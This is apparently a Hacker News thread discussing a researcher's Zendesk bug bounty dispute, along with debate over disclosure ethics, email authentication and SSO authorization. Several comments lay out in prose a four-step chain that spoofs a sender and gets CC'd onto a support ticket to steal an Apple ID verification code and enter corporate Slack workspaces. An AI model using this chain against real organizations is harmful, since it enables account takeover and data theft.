I don't think it is. Getting arbitrary access to corporate support ticket chains seems pretty high impact to me? Isn't that a gigantic data breach (also probably a GDPR breach) already, before you get to the Slack takeover?
The dude demonstrated the ability to infiltrate a client’s Slack instance via their vulnerability. If that’s not enough to make the hairs on your neck stand on end as an engineer, go fucking do something else.
The worse part:"We kindly request you keep this report between you and Zendesk". After being notified of a problem on their side, them ignoring it, now they want to keep things hush hush? That's exactly what the author did in the first place, but they chose to brush it aside. That itself is highly unprofessional. With such an attitude, I'm not surprised that they did not pay out the bounty.
You can't ask for money in exchange for not revealing a bug. That's blackmail which is illegal and ethically dubious.
White hat hackers do not require companies to pay them in exchange for not revealing a bug---the reveal of a bug only happens if a company doesn't fix that bug. Companies can be jerks and refuse to pay anything. That doesn't give you the right to blackmail them---you and other security researchers can just refuse to help them in the future.
A refusal to fix the vulnerability is what happened in the original blogpost, so it was fair game for release since the company doesn't care.
Hackers that don't care about ethics or legality won't bother blackmailing companies with vulnerabilities. They'll sell or use the vulnerability to steal more important data, and blackmail companies for millions of dollars in crypto.
Gotcha. The moment you attach a monetary condition it can be seen as extortion. In that case I believe the only responsible thing to do is disclose using customary, reasonable waiting periods.
I don't think this is true. I'm not a lawyer and this is not legal advice, but I think it's hard to fit the elements of an extortion statute to a "threat" to disclose the results of technical research work you yourself did. Moreover, if a vendor is working with HackerOne, they've already implicitly consented to their norm of non-disclosure in exchange for payment. Further, in something like 15 years of bounty programs, I haven't heard of any cases like this having been filed --- and bounty researchers threaten to publish all the time.
I also disagree that there's anything ethically dubious about it.
Depends on country as well. There was recently a case in Finland where a couple of people found issue in certain locks made by Abloy. They were offering to sell the details to Abloy and suggested that they could alternatively publish them in Youtube. They were found guilty for extreme blackmail (I'm not sure if extreme is the proper term in English, essentially just more extreme form due to e.g. demanding a lot of money). They are planning to appeal it so there is chance it will get overturned.
To correct you, the revealing of a past bug happens almost all the time when a company does fix the bug- that’s what lets researchers publish their findings and show the work they do publicly, and usually gives the company some positive PR for showing their willingness and responsiveness to fix issues. See the CVE program.
The correct procedure when they fuck up and close the report is to ask the report to be made public. Had he done this, this would have been a non issue.
The reason people don't do this is because they think they have something that can be modified into another bug. Which is exactly what happened here.
I've seen this go from -2 points to 2 points, now back to 1. Interesting how people are so divided on this when people I've brought up this topic to all agree that good people often get taken advantage off especially in cases like this.
Welp, they’re basically begging people to sell 0 days to a 3 letter agency // out of state groups (NSO, etc)
Come on, honor your bug bounty. Especially when it can bite you in the ass hard enough to plummet stock prices if a bug of this caliber is exploited in the companies you serve
From what I can tell, the vulnerability wasn't even fixed: they just.. changed their spam filter? Whatever that means.
So for this to work still, you need to bypass a spam filter.
They should just force DMARC and SPF like Google has done, and say "your fault if you misconfigure". Also default-off for the CC thing would be a good idea, too, with a warning of what could happen if they turn it on. Alternatively making a non-guessable id for the email.
Hey, now you have to bypass two spam filters, and also email verification from Apple is now marked as likely-spam. Which addresses the very specific Slack infiltration attack, but doesn't address the underlying issue.
Requiring their customers to implement SPF and DMARC as a hard technical requirement is probably bad for business. And as mentioned in TFA, they do note issues regarding SPF/DMARC in their policy.
I think in this case it's the customers of their customers, e.g. people sending emails to support@acme-corp.com. In that light requiring all emails coming into support@acme-corp.com to have SPF and DMARC is bad for business indeed, not only for Zendesk but probably also for the fictional ACME corp.
EDIT: they absolutley should not use an autoincrementing int as a "support-chain token" though, that's a workaround they could easily do.
I’m not clear on that. If the support requestor doesn’t need to be from the company, then I don’t understand why the email sender has to be spoofed in the first place.
The attack requires getting yourself CC’d on a support ticket. In this case to show how bad that is, it was a support ticket that had an oauth ticket to log into slack as “support@company.com”.
From the description, sending an email to support@company.com creates a support ticket, to which you can later latch on by adding a Cc. My understandig is that, at least in order to get the full history of a ticket, including any other emails sent to support-$ticket-ID@company.com, the primary sender needs to be from the company as well. Otherwise, why would you need the Cc hack?
My understanding is that, the original sender (spoofed apple in this case) can send the reply to support-$ticket-$id@ with CC field to grant full access to the thread for CC'ed email.
The email sender needs to be spoofed in order to add the CC.
1. Apple sends a legitimate email with a verification code from appleid@id.apple.com to support@company.com, creating a ticket in Zendesk.
2. The attacker then sends an email to support-$ticket-ID@company.com from appleid@id.apple.com (spoofed), attaching their own email address in the CC field.
3. Since the attacker is now CC'ed they can read the entire history of the ticket including the legitimate email Apple sent in (1) containing the verification code.
4. Now that the attacker has verified ownership of the Apple ID with the email address support@company.com they can use that Apple ID to login to any service that grants domain-based access via Sign in With Apple, such as Slack.
> EDIT: they absolutley should not use an autoincrementing int as a "support-chain token" though, that's a workaround they could easily do.
I checked my email archives and some (but not all) of the emails I've received from Zendesk have arbitrary alphanumeric ids in the Reply-To header instead of integers. Seems to depend on the company, perhaps this is a configuration issue?
This is clever hack and a reminder of how a chain of smaller security issues (guessable ticket IDs, email spoofing, automatically adding emails to tickets, etc.) can lead to larger ones.
Zendesk deserve a lot of flack here, especially after they already realized this is real. However, just to empathize a bit: the amount of spam SPF, DKIM, DMARC "security" reports anyone running a service gets is absolutely insane. So it's very easy to accidentally misclassify what this reporter originally discovered as that by accident.
Slack seems to be getting off too easy here. The security—as implemented by Fortune 500 customers??—of an org-wide security domain (i.e. what everyone in an org can see) depends on whether any of the supported OAuth providers can be tricked into provisioning an account with @targetorg.com?
This architecture makes 0 sense to me. Even if an org has totally outsourced its identity and auth management to Google (is this possible?), presumably that would include controls over how new @targetorg.com identities are created on the Google end.
No F500 companies are using Apple as an identity provider since they definitely don't sell such services. So why would an F500 company configure Slack to allow Apple OAuth & introduce this vulnerability?
I'm not sure (maybe it's the case only with email auth, not oauth). But there's a setting on slack to not automatically allow people with your company email address. So the tools are there to stop the attack
I'm pretty sure you can configure your corporate Slack to only allow authentication providers you choose. So if you have a corporate SSO you can just allow that.
If you're using Google for identity and authentication, you can definitely control who has an active account in your domain. There can be some lag time before disabling or removing someone truly disables all their downstream accesses, but that's largely outside Google's control. The only way to trick your way into getting a corporate domain email address is to socially engineer a domain admin.
Tangentially, this does raise one of my big issues with using OAuth2 for single-sign-on though, which is that it really doesn't address the third-party authorization problem well. Ok, you're bob@example.com, Google has verified that, and example.com is our domain, so we're letting you into our app Foobar. Now what? The scopes you requested were for Google APIs only and have nothing to do with Foobar really. So now we need to implement an authorization system in Foobar that decides what bob@example.com can actually do. This part, and how to do it right, gets glossed over (at best!) by discussions on OAuth2. It also gets glossed over by product and security when they want things "SSO-enabled", which means development time doesn't get budgeted for it. Even just using groups to control coarse access levels requires integration with provider-specific APIs. OAuth2 is great for identity and authentication, but far too little attention has been paid to doing authorization right.
You can also create a non-email Google account as Bob+external@example.com, as long as you can get email sent to bob@example.com (ie, while you are employed by Example, Inc). Then, you leave your job, but still have a google account associated with an example.com email. Depending on how the app checks the login response, they might mistakenly assume you are part of the example.com org.
I'm pretty sure you cannot create a personal account for "bob+external@example.com", as Google both knows about plus-suffixes (didn't they create them?) and any domains already managed under Workspaces. They also, in my experience, seem to have some understanding of domains managed by Microsoft's cloud and perhaps other competitors as well.
But even so, there's another mechanism, which is that when you create an OAuth2-enabled project in Google's console, you can specify that only known users in your domain are allowed to authenticate through it. This would lock out any personal account anyway.
This comment makes the most sense to me in this thread.
Further, IMO, sure it's a bug that one can say they control support@company.com. But IMO the real issue is lousy, permissive authorisation that gives access to anything simply by virtue of controlling a @company.com mail. Surely some HR/tech person, when an employee is being onboarded, should be enabling access to some core systems (probably by adding them to a group), and the default state for an account with no groups should be no access.
In any large enough organisation, IME there's a lot of ways to get a @org.com email, and too many people/systems have the ability to create an email than a single centralised IT team.
> Personally, I’ve always found it surprising that these massive companies, worth billions, rely on third-party tools like Zendesk instead of building their own in-house ticketing systems.
Do you find it surprising that they use Microsoft Office too? Paying someone else to handle things like this is cheaper than paying developers and hosting a service like this.
436 comments
[ 2.9 ms ] story [ 313 ms ] threadThe original is:
”1 bug, $50,000+ in bounties, how Zendesk intentionally left a backdoor in hundreds of Fortune 500 companies”
A better edit might be something like:
“The $50k bug where Zendesk backdoored Fortune 500 companies”
1 bug, 50k:
I don't know why the "1" got dropped.
If you submit "Why I care" it'll decide that you meant 'I care".
If you submit "10 More Secrets in Pokemon" it'll decide you meamt "More Secrets in Pokemon".
Conversely, there's an entire cottage industry focused on writing attention-catching headlines, which results in patterns like what HN mangles.
If it's annoying, OP can edit immediately after submitting to overwrite the mangled title with the correct one.
50k corresponds to the money they made with unrelated bug bounties.
I wish they would fix the title so that it properly calls out zendesk refused to pay for a serious bug.
The $50k was from other bug bounties he was awarded on hackerone.
It's too bad Zendesk basically said "thanks" but then refused to pay anything. That's a good way to get people not to bother with your big bounty program. It is often better to build goodwill than to be a stickler for rules and technicalities.
Side note: I'm not too surprised, as I had one of the worst experiences ever interviewing with Zendesk a few years back. I have never come away from an interview hating a company, except for Zendesk.
https://github.com/mdowd79/presentations/blob/main/bluehat20...
The same presentation also mentions (starting slide 17) how the requirements of 0days differs from public research, which is why some vulnerabilities would be difficult to sell.
Software Exploits arent considered arms it is information that can be sold, the liability is on the person that does the unauthorized access, the person that steals data, the person that uses the data
Hacking syndicates distribute liability akin to any corporation
not about else and especially not for merely browsing or using or buying a legal good from a dark net market
as I wrote
who would then argue they also sold it to security researchers, journalists and assumed everyone was or didnt discriminate or have any intent at all
Which is almost always the person finding the bug. Most services include language that limit your ability to find vulnerabilities in their systems as part of being allowed to access their service. If you find the vulnerability without ever accessing the service you might have an out, but that also means you have to sell the exploit with less ability to convince the buyer that it is something significant.
Don't forget that most people also simply don't sell bugs. They're not for sale in the first place; the bounty would be a thank-you or nice bonus, not a replacement for selling it
I'm certainly not in a criminal bubble so I can't say how big the other side is, but (as a security consultant who knows a reasonable number of hackers) I doubt that I know anyone who'd choose, after getting no response from the company, to sell a bug for profit to a louche party rather than going full disclosure and warning everyone -- or just doing nothing because it's not like it's their problem
Edit: nvm someone did come to mind. We tried to steer them onto the right path at our weekly CTF team meetings but I'm not sure we succeeded. Anywho, still one to a few dozen
As an aside, I wonder if those bounties in general reflect the real value of those bugs. The economic damage could be way higher, given that people share logins in support tickets. I would have expected that the price on the black market for these kind of bugs are several figures larger.
Correct, the replies seem to have come from H1 triage and H1 mediation staff.
They often miss the mark like this. I opened a H1 account to report that I'd found privileged access tokens for a company's GitHub org. H1 triage refused to notify the company because they didn't think it was a security issue and ignored my messages.
Also the bit about SPF, DKIM and DMARC seems to show a misunderstanding of the issue: these are typically excluded because large companies aren't able to do full enforcement on their email domains due to legacy. It's a common bug report.
In this case, the problem was that Zendesk wasn't validating emails from external systems.
The audacity to say "this is out of scope" then "how dare you tell anyone else" is something else.
While it's unclear at which stage Zendesk became involved, in the "aftermath" section it's clear they knew of the H1 report, since they responded there. And later on the post says:
"Despite fixing the issue, Zendesk ultimately chose not to award a bounty for my report. Their reasoning? I had broken HackerOne's disclosure guidelines by sharing the vulnerability with affected companies."
The best care scenario as I see it is that Zendesk has a problem they need to fix with their H1 triage process and/or their in and out of scope rules there. And _none_ of that is the researcher's problem.
The worst (and in my opinion most likely) scenario, is that Zendesk did get notified when the researcher asked H1 to escalate their badly triaged denial to Zendesk for review, and Zendesk chose to deny any bounty and tried to hide their vulnerability.
> As an aside, I wonder if those bounties in general reflect the real value of those bugs. The economic damage could be way higher, given that people share logins in support tickets.
I think it's way worse than that, since internal teams often share logins/secrets/API keys (and details of architecture and networking that a smart blackhat would _love_ to have access to) in thei supposedly "internal" Slack channels. I think the fact that non Zendesk "affected companies" paid out $50k sets that as the absolute lower bound of "the real value of those bugs. And it's _obvious_ that the researcher didn't contact _every_ vulnerable Slack-using organisation. I wonder how much more he could have made by disclosing this to 10 or 100 times as many Slack using organisations, and delaying/stalling revealing his exploit POC to Zendesk while that money kept rolling in?
I'll be interested to see if HackerOne react to this, to avoid the next researcher going for this "second level" of bug bounty payouts by not bothering with H1 or the vulnerable company, and instead disclosing to companies affected by the vulnerability instead of the companies with the vulnerability? It's kinda well known that H1 buy bounties are relatively small, compared to the effort required to craft a tricky POC. But people disclose there anyway, presumably party out of ethical concerns and partly for the reputation boost. But now we know you can probably get an order of magnitude more money by approaching 3rd party affected companies instead of cheapskate or outright abusive companies with H1 bounties that they choose to downvalue and not pay out on.
I think it's just laziness. Plus they hire previous famous reporter as the people triaging the reports, those famous people know other famous people first hand, they usually think "hmm, unknown guy, must have ran a script and submitted this"
I have stopped reporting stuff since last 5 years due to the frustration. And it seems the situation is still the same even after so many years.
Strictly, $0 because he disclosed to customers. But he only disclosed to customers since Zendesk said it was out of scope.
Bad showings all around, for both HackerOne and Zendesk.
Indeed, but just you wait for Zendesk to say "well, _we_ didn't mark it out of scope!" as if delegating it to h1 renegades all responsibility.
But simultaneously you should not be able to get into a company Slack by simply having an account with a @company.com email address created by a third-party SSO provider.
In other words, even in Zendesk fixed their problem, Slack would still have a problem on their end.
Same thing happened to me years ago. Interviewed with them and it was the worst “screening” experience I ever had. After getting a rejection email, I thanked them for their time and said I had feedback about the interview should they want to hear it. They said yes, please.
Sent my feedback, never heard from them again.
I believe their logic was that only the domain owner can adequately prevent email spoofing by proper SPF/DMARC configuration, and that it’s the customers’ fault if they don’t do that. Which isn’t entirely wrong.
Zendesk wasn't validating the email senders.
> Create an Apple account with support@company.com email and request a verification code, Apple sends verification code from appleid@id.apple.com to support@company.com and Zendesk automatically creates a ticket
It's a clever attack.
Maybe someone wants to post a link?
(Of course, if you have ever recieved e-mail from an address @id.apple.com, you would see the selector name in the DKIM signature header, and could look up the corresponding DKIM record directly. The above method is for when you don’t have access to that.)
When you stand up a bug bounty program you get a ton of "I opened developer tools, edited the js on your page, and now the page does something bad" submissions. "I can spoof some email headers and send an email to myself that looks like it is coming from you" isn't something I've specifically seen due to some weird details about my bounty program but it is something I would absolutely expect for many programs to see.
So you need a mechanism to reject this stuff. But if that mechanism is just "triage says this is dumb" you get problems. People scream at you for having their nonsense bug rejected. People submit dozens of very slightly altered "bugs" to try to say "you rejected the last one for reason X but this one does Y." So you create a general policy: anything involving email spoofing is out of scope.
So then a real bug ends up in front of the triage person. They are tired and busy and look at the report and see "oh this relies on email spoofing, close as out of scope." Sucks.
I think that Zendesk's follow up here is crap. They shouldn't be criticizing the author for writing about this bug. But I do very much understand how things end up with a $0 payout for the initial report.
And possibly to have blackhats to start looking more closely, since they now know both 1) that whitehats are likely to be focusing elsewhere leaving more available un-reviewed attack surface, and 2) that Zendesk appears to be the sort of company who'll ignore and/or hide known vulnerabilities, giving exploits a much longer effective working time.
If "the bad guys" discovered this (or if it had been discovered by a less ethically developed 15 year old who'd boasted about it in some Discord or hacker channel) I wonder just how many companies would have had interlopers in their Slack channels harvesting social engineering intelligence or even passwords/secrets/API keys freely shared in Slack channels? And I wonder how many other widely (or even narrowly) used 3rd party SaaS platforms can be exploited via Zendesk in exactly the same way. Pretty much any service that uses the email domain to "prove" someone works for a particular company and then grants them some level of access based on that would be vulnerable to having ZenDesk leak email confirmations to anybody who knows this bug.
Hell, I suspect it'd work to harvest password reset tokens too. That could give you account takeover for anything not using 2FA (which is, to a first approximation over the whole internet, everything).
Proper response would be to update your program to triage these vulns and thank the researcher for not going public straight away. This current approach is burning a tremendous amount of goodwill.
After they decided not to work on it, they later came back and asked him for more information and treat it like a bug...
Author should have gotten a reward. Did everything right if Zendesk claims it's not a in scope bug.
The incident almost certainly cost Zendesk more in (according to the gist) lost contracts and reputational damage than it would've cost to pay the security researcher a bounty.
For a sensible large company, it’s not worth being stingy over (relative) pennies. They waste money like it’s water. They might as well spend where it matters. Bug bounties won’t even show on their bottom line, but cleanup for an exploited issue will.
Incredible. This must be some kind of "damaged ego" or ass-covering, as it's clearly not a rational decision.
Edit: Another user here has pointed out the reasoning
> It's owned by private equity. Slowly cutting costs and bleeding the brand dry
I wish I was kidding. Used to work at a place that did crap like that, pulling in developers for these time sucks because "only they really know the correct technical usage for our industry."
Smells like being afraid to make a choice, even a tiny one.
And the common management approach to anything not working immediately is "throw another 1.000 employees into the project" and the middle-managers measure their success by how many employees they are managing so it's a train without breaks. Hope it goes bankrupt soon.
Building at scale without racking up big bill and hitting SLAs require a decent amount of effort.
To ease concerns about our scalability and longevity, we move from a tiny office to an office with a lot of empty space.
This strategic move supposes signaled to prospective corporate clients that we were committed to sustaining our solution over the long term, rather than just a few years but in the end the company went out of business. so much for that.
If you can't get one story through in a week, you start a bunch of them so one finishes every few days.
What’s more insane is that it is still better than the vast majority of ticketing software. I don’t know what it is about ticketing and Helpdesk that it ALwAYs ends up like that.
The curse of B2B software is that every new big customer wants some custom feature or configuration that is the "deal breaker" for their multi-million dollar contract signing. And everyone except engineering is eager to give it to them because it's not their problem once the ink is dry. Support and renewals are the next guy's problem.
Like any SaaS, the more feature boxes you check, the more potential customers you can "satisfy". And the worse the UX gets for the average user (which then gets driven to purchasing more support).
Great for business (the few), terrible for users (the many). No contradiction there.
Now, I understand there's probably a lot more to it which is why I would expect it to be a company of around 50 engineers and 150 business/marketing/etc and that's being generous.
The hill I'd die on is that, with money not being a scarce resource and a technically feasible challenge present, a team of 200 should be able to build and sustain almost anything in the world. And that's being even generous. I think realistically a team of 50 should be able to build almost anything
Now, I understand there's probably a lot more to it which is why I would expect it to be a company of around 50 engineers and 150 business/marketing/etc and that's being generous.
The hill I'd die on is that, with money not being a scarce resource and a technically feasible challenge present, a team of 200 should be able to build and sustain almost anything in the world. And that's being even generous. I think realistically a team of 50 should be able to build almost anything
You have to admit it's a very social job, talking with lots and lots and lots of people
- chat stuff you can embed into your site for user support
- managed call center software
- knowledgebase management linking all the other services
- whitelabel consumer forums you can use for offloading some of the support
- a shitton of analytics
- sales CRM
- profile platform you can link to various sources of information to get info on their activity on your site, so that you can use that for support
And there is probably a few more. Sales CRM alone can be its own company.
As usual on hackernews there is a lot more to it, but you are just not exposed to it.
1) created for the purpose of either PR/marketing, or a checklist ("auditing"), 2) seen as a cheaper alternative to someone who knows anything about security - "why hire someone that actually knows anything about security when we can just pay a pittance to strangers and believe every word they say?"
The amusing and ironic thing about the second point is that by doing so, you waste time with the constant spam of people begging for bounties and reporting things that are not even bugs let alone security issues, and your attention is therefore taken away from real security benefits which could be realized elsewhere by talented staff members.
A great blog post on the matter https://www.troyhunt.com/beg-bounties/
Edit: nevermind, I see what you mean. Twitter embeds work, direct images don't.
- handled with priority, but sometimes it takes a couple of weeks for a more definite fix
- handled by the security department within the company ( to forward to relevant PO's and to follow up)
The unfortunate thing about bug bounties is that you will be hammered with crawlers that would sometimes even resemble a DDOS
you mean your product will be hammered by people testing to find holes, thus garner the bounty? or some other reason?
Eg. Testing all vulnerable wp plugin paths on all domains. Multiple times a minute
The company even ran special sessions where engineers and hackers were brought together to try to maximize the number of bugs found in a few week period.
It resulted in more secure software at the end and a community of excited researchers trying to make some money and fame on our behalf.
The root cause in this case seems to be that they couldn’t get by HackerOne’s triage process because Zendesk excluded email from being in scope. This seems more like incompetence than malice on both of their parts. Good that the researcher showed how foolish they were.
That said putting my security hat on, I have to ask - who thought that sequential ticket ids in the reply-to email address were a good idea? they really ought to be using long random nonces; at which point the "guess the right id to become part of the support thread" falls apart. Classic enumeration+IDOR. So it sounds like there's still a potential for abuse here, if you can sneak stuff by their filters.
There was a PoC of how to view someone else's ticket (assuming you know the other person's email and approximately when the ticket was filed).
>it's not crazy to think a security engineer reading the report may assume that stuff would cover their butts
It sounds like they got a report saying "I can spoof an email and view someone else's report". Why would they assume the spam protection would protect them when they have a report saying it's not protecting them?
In general, I do expect for the folks reading hackerone reports to make some mistakes; there's a lot of people who will just run a vulnerability scanner and report all the results like they've done something useful. Sometimes for real bugs you have to explain the impact with a good "look what I can do with this."
Also, the poster didn't share their submission with us, just the responses. So it's hard to know how clear they were to zendesk. A good bug with a bag explanation o would not expect to get paid
I'm not sure. Anybody that keeps up to date with security (e.g. those working in a security team) should know that ticketing systems also contains credentials sometimes. For example when Okta was breached, the main concern was that Okta support tickets contain.... session tokens, cookies, and credentials!
https://www.bleepingcomputer.com/news/security/okta-says-its...
What's the point of having a security team that can't directly link external experience to their own system? Learning the same mistakes that have already been known?
The implications of being able to read arbitrary email contents from arbitrary domains' support (or otherwise) addresses are well known, and any competent security personnel in ZenDesk's security team should know this is exactly what can happen.
Something similar has been discussed on HN before: https://news.ycombinator.com/item?id=38720544 but the overall attack vector of "get registration email send to somewhere an attacker can view it" is not novel at all; it's also how some police database websites have been popped in the past (register as @fbi.gov which automatically gives you access; somehow access the inbox of @fbi.gov due to some public forwarding, for example)
It’s an imperfect system I agree - but it’s the best we have
The company did fix the issue a few months later, so there's that.
It doesn’t make sense, companies with less revenue aren’t the ones doing this. It’s usually the richer tech companies.
Because for some reason, it's larger tech companies that love to bean-count their way through security.
So my argument is that it does not matter how much they spend on security they will get hacked anyway, only thing they can do is keep spending in check and limit scope of hacks.
I'll give an "another side" perspective. My company was much smaller. Out of 10+ "I found a vulnerability" emails I got last year, all were something like mass-produced emails generated based on an automated vulnerability scanning tool.
Investigating all of those for "is it really an issue" is more work than it seems. For many companies looking to improve security, there are higher ROI things to do than investigating all of those emails.
The logic being that any actual security-researcher with even minimal levels of competency will know to check the security.txt file and can follow basic instructions; while if any of our actual (paying) users find a security issue then they’ll go through our internal ticket site and not public e-mail anyway - so all that’s left are low-effort vuln-scanner reports - and it’s always the same non-issues like clickjacking (but only when using IE9 for some reason, even though it’s 2024 now…) or people who think their browser’s Web Inspector is a “hacking tool” that allows anyone to edit any data in our system…
And FWIW, I’ve never received a genuine security issue report with an admission of kitchen refrigeration of fruit in the 18 months we’ve had a security.txt file - it’s almost as-if qualified competent professionals don’t operate like an embarrassingly pathetic shakedown.
They also had a security.txt file and had received several emails through that, but all of it was spam. Ironically they had received more real security vulnerabilities through people contacting them on LinkedIn than through their security.txt file.
Your milage may vary, but it didn’t seem like the security.txt file was read by the people one would hope would read it.
[0] - https://sqlite.org/forum/forumpost/53de8864ba114bf6
But after the PoC that showed the severity in a way that anyone could understand, they still didn't pay. That's the issue. The whole investigation was done for them.
In one specific instance, we had 20 emails in a single month about a specific Wordpress PHP endpoint that had a vulnerability, in a separate market site in another domain. The thing is, it had already been replaced by our Wordpress contractor as part of the default install, but it was returning 200.
But being a static page didn't stop the people running scanners from asking us from money even after they were informed of the above.
The solution? Delete it altogether to return 404.
Later
I wrote this comment before rereading the original post and realizing that they had literally submitted a DKIM report (albeit a rare instance of a meaningful one). Just to be clear: in my original comment, I did not mean to suggest this bug was silly; only that in the world of security bug bounties, DKIM reports are universally viewed as silly.
only thing that matters is the severity and what it allows the attackers to do.
Zendesk gave me a tshirt but not any money for it. C'est la vie.
Huh? I don't think you can read page contents unless the origin matches exactly (scheme://host:port).
That this hurts Zendesk is too bad, it's still the morally correct thing to do and Zendesk probably understands that, too
They created a fake band called "Zendesk Alternative" just in an attempt to pollute the Google results if you search for an alternative to Zendesk.
http://zendeskalternative.com/
While not illegal, it shows the way they think, a sort of manipulative pettiness.
And in 2027, Zendesk finds that the strategy worked. A little too well! Now the top search result for Zendesk is the rock band, and if you ask an AI about Zendesk, the AI starts yappin about a rock band too! Hahaha
But also, SECURITY culture concerns beat culture culture. Companies should def consider ditching them for this lapse and their poor form in making it right.
If Zendesk is smart, they should hop on this thread and pay this kid out while everyone is still paying attention in one place, rather than later, when everyone is quietly making business decisions in a thousand little alcoves of the internet.
Otherwise, this is the best thing to happen to the Zendesk Alternatives in a long time
Calling yourself 'charmed' by an insecurity-driven marketing shtick that denies rational competition is certainly one reaction.
"The book burning was abhorrent, in principle. But the lights were so calm and the fire was so warm... I was actually kinda charmed!"
I'm actually pretty annoyed at the stupidity, it's the kind of thing that even a shitty search engine won't be fooled by and hey when I search for Zendesk alternatives I don't see any brand called Zendesk alternative in first few results.
I mean it's like they're too stupid to do what every other weaselly scumbag does, get some fake reviews up comparing your brand to alternatives with the reviews carefully weighted so your target customer base will be uh, I guess Zendesk is really what we want then.
Or at least buy an ad words for the search - with the words Zendesk - There is No Alternative showing up before all the alternatives.
It's ok Zendesk if you use my clever slogan because you can't think of one on your own - I'm not expecting you to pay me for it.
Searching `Zendesk alternative` (no s, no quotes):
- Google shows it in the top 5 results.
- Bing shows it on the second page.
- Brave shows it in the middle of the first page.
- DDG doesn't show it.
- Yahoo shows it on page 3
- Yandex doesn't show it
So no harm, no foul, right?
Edit: Why don’t they seem to value their credibility?
Also, anytime I search for "X alternative" the results are all AI-generated garbage anyway, so I'd welcome something quirky and original like this in my results.
Yes, that’s it. They paid their marketing team to do this to be funny.
It's the same reason why Google paid its marketing team to make a promo for Gmail Blue (back in 2013 when Google was still doing legitimately funny fake promos):
https://www.gmail.com/mail/help/intl/en/promos/blue/
That's evil!
that is hilarious, but also the most non punk rock thing I've ever read. if Apple did it, every one here would be fawning over how genius of a move it were
I wouldn't read too much into this because one unmaintained old website will not going to make or break the SEO game of others.
Takes me back to a more innocent time of the Internet.
Ironically, the domain was given to DDG from Google.
I love the self report :^)
Search engine chaff has been in the toolbag of "reputation management" PR firms for a while. Boris Johnson (former UK PM) deployed it many years ago to drown out a viral picture of him in front of a red bus bearing an ad he no longer wanted to associated with, so he was coached to tell an interviewer he has a hobby of painting model buses red.
I don’t care if you’re the only company in the market, I’ll still blackball you for this in my recommendations.
Zendesk should pay up, apologize and correct their bug bounty program. After doing so, they should kindly ask the finder to add an update to this post, because otherwise it will follow them around like dogshit under their shoe.
If a company loses 120 million a year to security bounties, they will take into account the cost of scrumming/rapid widget delivery.
They should absolutely inform a client company of a perceived threat, when they agree on the threat
Most of the person’s post and responses here are about Zendesk’s issue, but Zendesk was never informed
for a better PR response, I think now Zendesk could reward this after realizing it wouldnt have been disclosed first, and admonish HackerOne for not informing them and the current policies there
It's not clear whether they were informed. The mediator's email says "after consultations with *the team*", which is likely referring to Zendesk's security team.
If you are a new user expect your first couple reports to be butchered. It seems to me only reports from well known hackers gets carefully analysed.
I thought this was mainly mitigated by invalidating the assumption that “only authorized employees can control a company email” – it used to be common 5-10 years ago to verify “that you’re an employee” that way, but I just assumed that kind of stopped in favor of whatever SSO/SAML stuff that became popular with enterprise.
Is this the same thing? Or a variation?
[1] https://gist.github.com/hackermondev/68ec8ed145fcee49d2f5e2b...
Yes, the researcher could have tee'd himself up better, but this says way more about zendesk than it does about the 15-year-old researcher.
We add impact demonstrations to a few findings per pentest report because our audience is broader: the nontechnical people who decide to allocate the money need to understand why this is useful and that the devs/sysadmins need to get enough time to do things right (developers and sysadmins are often sufficiently skilled, but are under delivery pressure). A sufficiently technical team, when the bug is adequately explained, doesn't need a functional exploit to see it's real/impactful or not
Clearly Zendesk needs to change things so that the email address that is created for a ticket isn’t guessable.
It's possible that some chains could have credentials or other sensitive information in ticket chains.
Of course, this is only a good strategy if you're just wanting to do a good deed and not counting on getting more than a thank you note, but Zendesk or Hackerone (whoever you want to blame here) didn't even accept the bug in the first place. That's the problem here, not the omission of an exploit chain
White hat hackers do not require companies to pay them in exchange for not revealing a bug---the reveal of a bug only happens if a company doesn't fix that bug. Companies can be jerks and refuse to pay anything. That doesn't give you the right to blackmail them---you and other security researchers can just refuse to help them in the future.
A refusal to fix the vulnerability is what happened in the original blogpost, so it was fair game for release since the company doesn't care.
Hackers that don't care about ethics or legality won't bother blackmailing companies with vulnerabilities. They'll sell or use the vulnerability to steal more important data, and blackmail companies for millions of dollars in crypto.
I also disagree that there's anything ethically dubious about it.
The reason people don't do this is because they think they have something that can be modified into another bug. Which is exactly what happened here.
Come on, honor your bug bounty. Especially when it can bite you in the ass hard enough to plummet stock prices if a bug of this caliber is exploited in the companies you serve
Nothing changes for them even if they ignore one report, especially from an unknown researcher.
It exposes pretty sad state of the industry. Who said enterprise?
So for this to work still, you need to bypass a spam filter.
They should just force DMARC and SPF like Google has done, and say "your fault if you misconfigure". Also default-off for the CC thing would be a good idea, too, with a warning of what could happen if they turn it on. Alternatively making a non-guessable id for the email.
EDIT: they absolutley should not use an autoincrementing int as a "support-chain token" though, that's a workaround they could easily do.
1. Apple sends a legitimate email with a verification code from appleid@id.apple.com to support@company.com, creating a ticket in Zendesk.
2. The attacker then sends an email to support-$ticket-ID@company.com from appleid@id.apple.com (spoofed), attaching their own email address in the CC field.
3. Since the attacker is now CC'ed they can read the entire history of the ticket including the legitimate email Apple sent in (1) containing the verification code.
4. Now that the attacker has verified ownership of the Apple ID with the email address support@company.com they can use that Apple ID to login to any service that grants domain-based access via Sign in With Apple, such as Slack.
I checked my email archives and some (but not all) of the emails I've received from Zendesk have arbitrary alphanumeric ids in the Reply-To header instead of integers. Seems to depend on the company, perhaps this is a configuration issue?
Zendesk deserve a lot of flack here, especially after they already realized this is real. However, just to empathize a bit: the amount of spam SPF, DKIM, DMARC "security" reports anyone running a service gets is absolutely insane. So it's very easy to accidentally misclassify what this reporter originally discovered as that by accident.
This architecture makes 0 sense to me. Even if an org has totally outsourced its identity and auth management to Google (is this possible?), presumably that would include controls over how new @targetorg.com identities are created on the Google end.
No F500 companies are using Apple as an identity provider since they definitely don't sell such services. So why would an F500 company configure Slack to allow Apple OAuth & introduce this vulnerability?
Tangentially, this does raise one of my big issues with using OAuth2 for single-sign-on though, which is that it really doesn't address the third-party authorization problem well. Ok, you're bob@example.com, Google has verified that, and example.com is our domain, so we're letting you into our app Foobar. Now what? The scopes you requested were for Google APIs only and have nothing to do with Foobar really. So now we need to implement an authorization system in Foobar that decides what bob@example.com can actually do. This part, and how to do it right, gets glossed over (at best!) by discussions on OAuth2. It also gets glossed over by product and security when they want things "SSO-enabled", which means development time doesn't get budgeted for it. Even just using groups to control coarse access levels requires integration with provider-specific APIs. OAuth2 is great for identity and authentication, but far too little attention has been paid to doing authorization right.
But even so, there's another mechanism, which is that when you create an OAuth2-enabled project in Google's console, you can specify that only known users in your domain are allowed to authenticate through it. This would lock out any personal account anyway.
